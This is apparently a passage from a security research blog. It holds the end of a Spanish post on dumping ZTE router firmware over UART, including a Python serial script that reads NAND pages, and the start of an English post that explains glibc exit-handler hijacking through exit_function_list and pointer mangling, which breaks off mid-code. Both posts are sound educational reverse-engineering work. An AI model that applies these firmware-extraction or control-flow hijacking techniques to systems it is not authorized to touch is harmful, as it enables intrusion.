<p>Después de que se nos brinde la opción de entrar a la configuración del <em>booteo</em>, la lectura del firmware y su escritura a memoria continua, esto lo podemos ver en el log de la interfaz UART donde estamos conectados.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Hit 1 to upgrade software version
Hit any key to stop autoboot:  0
addr=1a00000
addr=3a00000
select=0x0
search=0x2
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x4,offset=0x0,mtdpartoffset=0x200000,mtdPartsize=0x400000,length=0x1000
BootImageNum=0x00000001,1
select=0x1
search=0x2
search-&gt;result[1].entry=3a00140
mtd_length=1660000
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x3,offset=0x0,mtdpartoffset=0x3a00000,mtdPartsize=0x2000000,length=0x1660000

---mtdparts_init--current_mtd_partnum=1-
part  : name = rootfs0, size = 0x01700000, offset = 0x01a20000
part  : name = rootfs1, size = 0x01640000, offset = 0x03a20000

--- jffs2_part_info: partition number 1 for device nand0 (single part)
jffs2_part_info:rootfs1,3a20000
### JFFS2 loading '0uImage' to 0x44000000
Scanning JFFS2 FS: .................... done.
### JFFS2 load complete: 3679265 bytes loaded to 0x44000000
&lt;nand_read_skip_bad_,1241&gt;!mtdpart=0x0,offset=0x0,mtdpartoffset=0x0,mtdPartsize=0x200000,length=0x80000
</code></pre></div></div>

<p>Además, la línea 15 en adelante nos indica en qué parte de la memoria NAND se encuentra el <em>filesytem</em> y todo esto sucedes <strong>después</strong> de la opción de entrar a la configuración de <em>booteo</em>. El lector hábil se habrá dado cuenta de que existen dos <em>filesystem</em>, el primero denominado <code class="language-plaintext highlighter-rouge">rootfs0</code> en la dirección de la memoria NAND <code class="language-plaintext highlighter-rouge">0x01a20000</code> y el segundo <code class="language-plaintext highlighter-rouge">rootfs1</code> localizado en <code class="language-plaintext highlighter-rouge">0x03a20000</code>. Tal vez se pregunte, ¿por qué hay dos filesystem?, déjame decirte que esto es usual en este tipo de dispositivos que requieren cierta independencia, ya que se agrega a la memoria NAND un <em>filesystem</em> de respaldo, entonces si el que se intenta cargar está dañado, se podrá usar el de respaldo, en este caso, como vemos en la línea 20, el <em>filesystem</em> usado por defecto es <code class="language-plaintext highlighter-rouge">rootfs1</code>.</p>

<p>Con toda esta información, nos toca pelearnos con el comando <code class="language-plaintext highlighter-rouge">nand</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand dump 0x1a00000
Page 01a00000 dump:
        99 99 99 99 44 44 44 44  55 55 55 55 aa aa aa aa
        28 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
        00 00 00 00 00 00 00 00  00 00 00 00 56 36 2e 30
...
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">nand dump</code> funciona! Ahora con <code class="language-plaintext highlighter-rouge">nand read</code>, el formato de uso es <code class="language-plaintext highlighter-rouge">nand read &lt;memory addr&gt; &lt;nand offset&gt; &lt;size&gt;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand read 0x400000 0x1a00000 0x100

NAND read: device 0 offset 0x1a00000, size 0x100
 256 bytes read: OK
</code></pre></div></div>

<p>Al parecer funciona también! Así que el ruedo. Pero antes <a href="https://elinux.org/Didj_U_Boot_Flashing_Primer">como debería funcionar de un ejemplo tomado por internet</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LF1000 # nand read 1800000 0 800

NAND read: device 0 offset 0x0, size 0x800
 2048 bytes read: OK
LF1000 # md 1800000 10
01800000: e59fd004 eb000001 ea000b6c 00228000    ........l.....".
01800010: e59fc034 e3a03001 e58c3000 e59c3008    4....0...0...0..
01800020: e3a00b02 e52de004 e3833080 e3a0e000    ......-..0......
01800030: e1a01000 e3a02b7e e58c3008 e58ce008    ....~+...0......
</code></pre></div></div>

<p>Ahora, como funciona</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=&gt; nand read 400000 1a00000 100

NAND read: device 0 offset 0x1a00000, size 0x100
 256 bytes read: OK
=&gt; md.b 0x00400000 100
00400000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
00400040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
</code></pre></div></div>

<p>:(</p>

<p>Pero no hay que desesperarnos, podemos usar la última opción <code class="language-plaintext highlighter-rouge">nand dump</code>, que ya vimos que funciona. Lamentablemente solo nos dumpea 0x800 bytes. Además, al estar en una comunicación asíncrona es casi segura que haya un desfase en nuestro volcado. Pero qué más da, al día siguiente ya me iban a cambiar el router y tendría que abrir el nuevo - sin romperlo - volver a soldar los pines y empezar nuevamente, así que nada que perder.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import sys
import time
import serial

class MySerial:
    def __init__(self, tty, baudrate = 115200, timeout = 1):
        self.ser = serial.Serial(tty, baudrate, timeout=timeout)
        self.ser.flush()
        self.ser.flushInput()
        self.ser.flushOutput()

    def read(self):
        data = self.ser.read().decode('latin-1')
        time.sleep(0.05)

        data += self.ser.read(self.ser.inWaiting()).decode('latin-1')
        return data

    def readuntil(self, msg):
        data = self.read()
        while msg not in data:
            data += self.read()
        return data
    
    def write(self, data):
        self.ser.write(data.encode('latin-1'))
        time.sleep(0.5)

    def writeline(self, data):
        self.write(data + '\n')
    
    def read_from_nand(self, offset, size, offset_end):
        data = ''
        off = 0
        idx = 0
        while offset + off &lt; offset + size and offset + off &lt; offset_end:
            cmd = 'nand dump 0x{:08x}'.format(offset + off)

            self.ser.flush()
            self.ser.flushInput()
            self.ser.flushOutput()

            self.writeline(cmd)
            self.writeline('\n'*5)
            tmp = self.readuntil('=&gt;')

            start = tmp.find('dump:')
            end = tmp.find('OOB:')

            print('{}: {} ## {},{}'.format(idx, cmd, start, end))

            chunk = tmp[start+7:end-1].rstrip()

            if start != 36 or end != 6571:
                continue

            off += 0x800
            idx += 1

            with open('rootfs1.txt', 'a') as f:
                f.write(chunk+'\n')


if __name__ == '__main__':
    serial = MySerial('/dev/ttyCH341USB0', 115200, 2)
    
    offset = 0x01a00000
    size = 0x01700000
    end = offset + size

    offset = 0x3a00000
    size = 0x1660000
    end = offset + size

    data = serial.read_from_nand(offset, size, end)
    print('Done')

</code></pre></div></div>

<p>Después de unas horas de ejecución, !tengo el firmware volcado en frío! Claro, había luego que montar los directorios si quisiera tenerlo lo más parecido posible a cuando el router está ya inicializado y funcionando, algo que no me apatecía. Así que comencé a buscar otra manera de obtener una shell en router, ¡y de eso se tratará la segunda parte!, como obtener shell a través de SAMBA para finalmente volcar el <em>filesystem</em> en caliente.</p>

<p>Para esta parte debo agradecer a mi colega <a href="https://x.com/ogianatiempo">Octa</a>, que me brindó su tiempo, ayuda, consejos y links. ¡Gracias!</p>

<blockquote>
  <p>Escrito por <strong>Nox</strong></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="es" /><category term="reversing" /><summary type="html"><![CDATA[Volcar firmware de routers ZTE ZXHN parte 1]]></summary></entry><entry xml:lang="en"><title type="html">Code execution part 1: from exit to system</title><link href="https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html" rel="alternate" type="text/html" title="Code execution part 1: from exit to system" /><published>2024-06-11T05:00:00+00:00</published><updated>2024-06-11T05:00:00+00:00</updated><id>https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system</id><content type="html" xml:base="https://blog.rop.la/en/exploiting/2024/06/11/code-exec-part1-from-exit-to-system.html"><![CDATA[<p>After a long break from reversing and pwning, I’m getting back into the groove. My mind is gradually getting used to the hustle, and I’m starting to enjoy it. I fondly remember the good times when I played CTF every weekend with the amn3s1a team. Although I barely solved any challenges at the beginning, I enjoyed it and learned that my mind became “quicker” each weekend I played. Many things have changed since 2013 when I played with my team, especially since I spent years professionally exploiting the Windows kernel. Now, I’m attempting to shift my focus to Linux/*os. Therefore, I will try to learn the techniques currently in use, even if they have been known for decades, and this is one of them.</p>

<!--more-->

<p>Since version 2.24 of glibc, the hooks <code class="language-plaintext highlighter-rouge">__realloc_hook</code>, <code class="language-plaintext highlighter-rouge">__memalign_hook</code>, <code class="language-plaintext highlighter-rouge">__malloc_hook</code>, and <code class="language-plaintext highlighter-rouge">__free_hook</code>, which allowed nearly any function to be executed by overwriting it, have been removed. This necessitated the search for new methods to execute code. One such method involves using the <code class="language-plaintext highlighter-rouge">exit()</code> function or the <code class="language-plaintext highlighter-rouge">return</code> statement that is executed when a program terminates.</p>

<p>The following methods are being tested in glibc 2.35 and 2.39 (which is the latest version as of May 2024). Of course, I did not create these methods—they are quite old—but they still work, so I am including the references <a href="https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte-2014-edition.html">here</a> and <a href="https://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html">here</a>. I will also add what I learned during my research and discuss some scenarios in which they can be used.</p>

<h3 id="code-execution-via-exit_function_list">Code execution via <code class="language-plaintext highlighter-rouge">exit_function_list</code></h3>

<p>In this post, we will discuss a method that can be used within the <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code> function, specifically focusing on the <code class="language-plaintext highlighter-rouge">exit_function_list</code> structure. There is also another structure called <code class="language-plaintext highlighter-rouge">tls_dtor_list</code>, but we will leave that for a future post. But first, let’s talk about how we arrived at the function that this subtitle decorates.</p>

<p>During the process of a program’s exit, which can be triggered by calling the <code class="language-plaintext highlighter-rouge">exit()</code> function or the return statement from the main thread, glibc executes, among other things, the <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code> function. This function calls any registered destructors, also known as <code class="language-plaintext highlighter-rouge">dtors</code>.</p>

<p><code class="language-plaintext highlighter-rouge">exit()</code> is merely a wrapper for <code class="language-plaintext highlighter-rouge">__run_exit_handlers()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span>
<span class="nf">exit</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">__run_exit_handlers</span> <span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__exit_funcs</span><span class="p">,</span> <span class="nb">true</span><span class="p">,</span> <span class="nb">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">libc_hidden_def</span> <span class="p">(</span><span class="n">exit</span><span class="p">)</span>
</code></pre></div></div>

<p><a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.c#L35"><code class="language-plaintext highlighter-rouge">__run_exit_handlers</code></a> looks like this</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */</span>
<span class="kt">void</span>
<span class="n">attribute_hidden</span>
<span class="nf">__run_exit_handlers</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">,</span> <span class="k">struct</span> <span class="n">exit_function_list</span> <span class="o">**</span><span class="n">listp</span><span class="p">,</span>
		     <span class="n">bool</span> <span class="n">run_list_atexit</span><span class="p">,</span> <span class="n">bool</span> <span class="n">run_dtors</span><span class="p">)</span>
<span class="p">{</span>
  <span class="cm">/* First, call the TLS destructors.  */</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">run_dtors</span><span class="p">)</span>
    <span class="n">call_function_static_weak</span> <span class="p">(</span><span class="n">__call_tls_dtors</span><span class="p">);</span>

  <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>

  <span class="cm">/* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */</span>
  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span>
    <span class="p">{</span>
      <span class="k">struct</span> <span class="n">exit_function_list</span> <span class="o">*</span><span class="n">cur</span><span class="p">;</span>

    <span class="nl">restart:</span>
      <span class="n">cur</span> <span class="o">=</span> <span class="o">*</span><span class="n">listp</span><span class="p">;</span>

      <span class="k">if</span> <span class="p">(</span><span class="n">cur</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="cm">/* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */</span>
	  <span class="n">__exit_funcs_done</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
	  <span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>

      <span class="k">while</span> <span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="k">struct</span> <span class="n">exit_function</span> <span class="o">*</span><span class="k">const</span> <span class="n">f</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="o">--</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">idx</span><span class="p">];</span>
	  <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">new_exitfn_called</span> <span class="o">=</span> <span class="n">__new_exitfn_called</span><span class="p">;</span>

	  <span class="k">switch</span> <span class="p">(</span><span class="n">f</span><span class="o">-&gt;</span><span class="n">flavor</span><span class="p">)</span>
	    <span class="p">{</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">atfct</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">onfct</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">cxafct</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="kt">int</span> <span class="n">status</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">;</span>

	    <span class="k">case</span> <span class="n">ef_free</span><span class="p">:</span>
	    <span class="k">case</span> <span class="n">ef_us</span><span class="p">:</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_on</span><span class="p">:</span>
	      <span class="n">onfct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">on</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
	      <span class="n">arg</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">on</span><span class="p">.</span><span class="n">arg</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">onfct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">onfct</span> <span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">arg</span><span class="p">);</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_at</span><span class="p">:</span>
	      <span class="n">atfct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">at</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">atfct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">atfct</span> <span class="p">();</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_cxa</span><span class="p">:</span>
	      <span class="cm">/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */</span>
	      <span class="n">f</span><span class="o">-&gt;</span><span class="n">flavor</span> <span class="o">=</span> <span class="n">ef_free</span><span class="p">;</span>
	      <span class="n">cxafct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
	      <span class="n">arg</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">cxafct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">cxafct</span> <span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="n">status</span><span class="p">);</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="p">}</span>

	  <span class="k">if</span> <span class="p">(</span><span class="n">__glibc_unlikely</span> <span class="p">(</span><span class="n">new_exitfn_called</span> <span class="o">!=</span> <span class="n">__new_exitfn_called</span><span class="p">))</span>
	    <span class="cm">/* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */</span>
	    <span class="k">goto</span> <span class="n">restart</span><span class="p">;</span>
	<span class="p">}</span>

      <span class="o">*</span><span class="n">listp</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">listp</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="cm">/* Don't free the last element in the chain, this is the statically
	   allocate element.  */</span>
	<span class="n">free</span> <span class="p">(</span><span class="n">cur</span><span class="p">);</span>
    <span class="p">}</span>

  <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">run_list_atexit</span><span class="p">)</span>
    <span class="n">call_function_static_weak</span> <span class="p">(</span><span class="n">_IO_cleanup</span><span class="p">);</span>

  <span class="n">_exit</span> <span class="p">(</span><span class="n">status</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>At the beginning of the function, on line <strong>11</strong>, the function <code class="language-plaintext highlighter-rouge">__call_tls_dtors</code> is called if there are registered destructors — we will discuss this other post. Following this, we encounter a switch statement, and we will focus on the <code class="language-plaintext highlighter-rouge">case ef_cxa:</code> on line <strong>68</strong>. Why? That’s what we will discuss next.</p>

<h4 id="exploiting-exit_function_list">Exploiting <code class="language-plaintext highlighter-rouge">exit_function_list</code></h4>
<p>Upon entering the <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code> function, one of its parameters is a pointer to a pointer of the <code class="language-plaintext highlighter-rouge">exit_function_list</code> structure. After traversing this list, a function pointer and an argument are obtained from the <code class="language-plaintext highlighter-rouge">exit_function</code> structure, depending on the case, as the structure contains unions.</p>

<p>Let’s take a look at the <code class="language-plaintext highlighter-rouge">exit.h</code> <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.h">header file</a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
</code></pre></div></div>

<p>If we create a simple program that only prints “Hello, World!” and inspect the memory to see the contents of <code class="language-plaintext highlighter-rouge">__exit_funcs</code>, which fortunately has a symbol to help us locate it, we observe the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/10xg __exit_funcs
0x7ffff7e1bf00 &lt;initial&gt;:	    0x0000000000000000	0x0000000000000001
0x7ffff7e1bf10 &lt;initial+16&gt;:	0x0000000000000004	0x5b75ba599d12cfac
0x7ffff7e1bf20 &lt;initial+32&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf30 &lt;initial+48&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf40 &lt;initial+64&gt;:	0x0000000000000000	0x0000000000000000
</code></pre></div></div>

<p>Remember that <code class="language-plaintext highlighter-rouge">initial</code> contains the <code class="language-plaintext highlighter-rouge">exit_function_list</code> structure, and by default, GDB does not have a symbol for the former structure, but it does for the <code class="language-plaintext highlighter-rouge">exit_function</code> structure —and there can be up to 32 structures! In this case, we only have one. Thus, we have verified that even in a simple program, there is already an entry in <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0]</code>. Let’s traverse it a bit.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;func.cxa
$1 = {
  fn = 0x5b75ba599d12cfac,
  arg = 0x0,
  dso_handle = 0x0
}
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;flavor 
$2 = 0x4
</code></pre></div></div>

<p>It is important to note that in line <strong>7</strong> of the enum in the exit.h header, there is the <code class="language-plaintext highlighter-rouge">ef_cxa</code> field with a value of <code class="language-plaintext highlighter-rouge">4</code>, which is exactly what we have in flavor, and in the function pointer <code class="language-plaintext highlighter-rouge">exit_function.func.cxa.fn</code>, there is no valid virtual address. Let’s look again at the code that represents this in the <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code> function.</p>

<pre>
<code class="hljs language-c" data-ln-start-from="67">
        case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f-&gt;flavor = ef_free;
	      cxafct = f-&gt;func.cxa.fn;
	      arg = f-&gt;func.cxa.arg;
	      PTR_DEMANGLE (cxafct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      cxafct (arg, status);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
</code>
</pre>

<p>Before the function is called, on line <strong>74</strong>, a macro called <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> is used, and only after this, the function is called. Essentially, the pair <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> and <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> encrypt and decrypt the pointer, respectively. We can look at the macro or something simpler: examine the disassembly where it is used. To do this, we can click on the <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> macro in the <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/unix/sysv/linux/x86_64/pointer_guard.h#L25">code</a>, as well as <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>, to see where they are being used.</p>

<p>Among other functions, we can see the implementation of the <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> code in the <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/cxa_atexit.c#L52"><code class="language-plaintext highlighter-rouge">__cxa_atexit</code></a> function and <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> in the function we have been examining, <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span>
<span class="nf">__cxa_atexit</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">func</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">),</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">return</span> <span class="n">__internal_atexit</span> <span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="n">arg</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__exit_funcs</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And a part of <code class="language-plaintext highlighter-rouge">__internal_atexit</code> is as following</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">PTR_MANGLE</span> <span class="p">(</span><span class="n">func</span><span class="p">);</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span> <span class="n">func</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span> <span class="o">=</span> <span class="n">arg</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">dso_handle</span> <span class="o">=</span> <span class="n">d</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">flavor</span> <span class="o">=</span> <span class="n">ef_cxa</span><span class="p">;</span>
</code></pre></div></div>

<p>Its disassembly is</p>

<pre>
<code class="hljs language-x86asm" data-highlighted="yes">   0x00007ffff7c45915 &lt;+85&gt;:	mov    QWORD PTR [rax],0x4
   0x00007ffff7c4591c &lt;+92&gt;:	mov    rdi,rbx
   0x00007ffff7c4591f &lt;+95&gt;:	xor    rdi,QWORD PTR fs:0x30
   0x00007ffff7c45928 &lt;+104&gt;:	rol    rdi,0x11
   0x00007ffff7c4592c &lt;+108&gt;:	movups XMMWORD PTR [rax+0x10],xmm2
   0x00007ffff7c45930 &lt;+112&gt;:	mov    QWORD PTR [rax+0x8],rdi
</code>
</pre>

<p>The lines do not correspond exactly, but I’ll indicate which ones do. Line <strong>1</strong> of the disassembly corresponds to line <strong>5</strong> of the C code, where the flavor we mentioned earlier is set; line <strong>1</strong> of the C code corresponds to lines <strong>2</strong>, <strong>3</strong>, <strong>4</strong>, and <strong>6</strong> of the disassembly, which is what interests us.</p>

<p>For <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>, we have the <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code> function that we saw earlier.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   0x00007ffff7c454bf &lt;+303&gt;:	ror    rax,0x11
   0x00007ffff7c454c3 &lt;+307&gt;:	xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c454cc &lt;+316&gt;:	xchg   DWORD PTR [r14],edx
   0x00007ffff7c454cf &lt;+319&gt;:	cmp    edx,0x1
   0x00007ffff7c454d2 &lt;+322&gt;:	jg     0x7ffff7c45580 &lt;__run_exit_handlers+496&gt;
   0x00007ffff7c454d8 &lt;+328&gt;:	call   rax
</code></pre></div></div>

<p>So the difference between encryption and decryption is the use of <code class="language-plaintext highlighter-rouge">rol</code> (rotate left) and <code class="language-plaintext highlighter-rouge">ror</code> (rotate right) respectively. Nonetheless, there’s something interesting you might have already noticed: the use of <code class="language-plaintext highlighter-rouge">fs:[0x30]</code> in both operations. What is it? In Linux, the <code class="language-plaintext highlighter-rouge">fs</code> segment is used as Thread Local Storage (TLS) and contains runtime information about the current thread. Glibc <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/unix/sysv/linux/x86_64/pointer_guard.h#L29">version 2.39</a> refers to <code class="language-plaintext highlighter-rouge">__pointer_chk_guard_local</code>, while in version 2.26 it also specifies <code class="language-plaintext highlighter-rouge">tbchead_t.ptr_guard</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">tcb</span><span class="p">;</span>		<span class="cm">/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */</span>
  <span class="n">dtv_t</span> <span class="o">*</span><span class="n">dtv</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">self</span><span class="p">;</span>		<span class="cm">/* Pointer to the thread descriptor.  */</span>
  <span class="kt">int</span> <span class="n">multiple_threads</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">gscope_flag</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">sysinfo</span><span class="p">;</span>
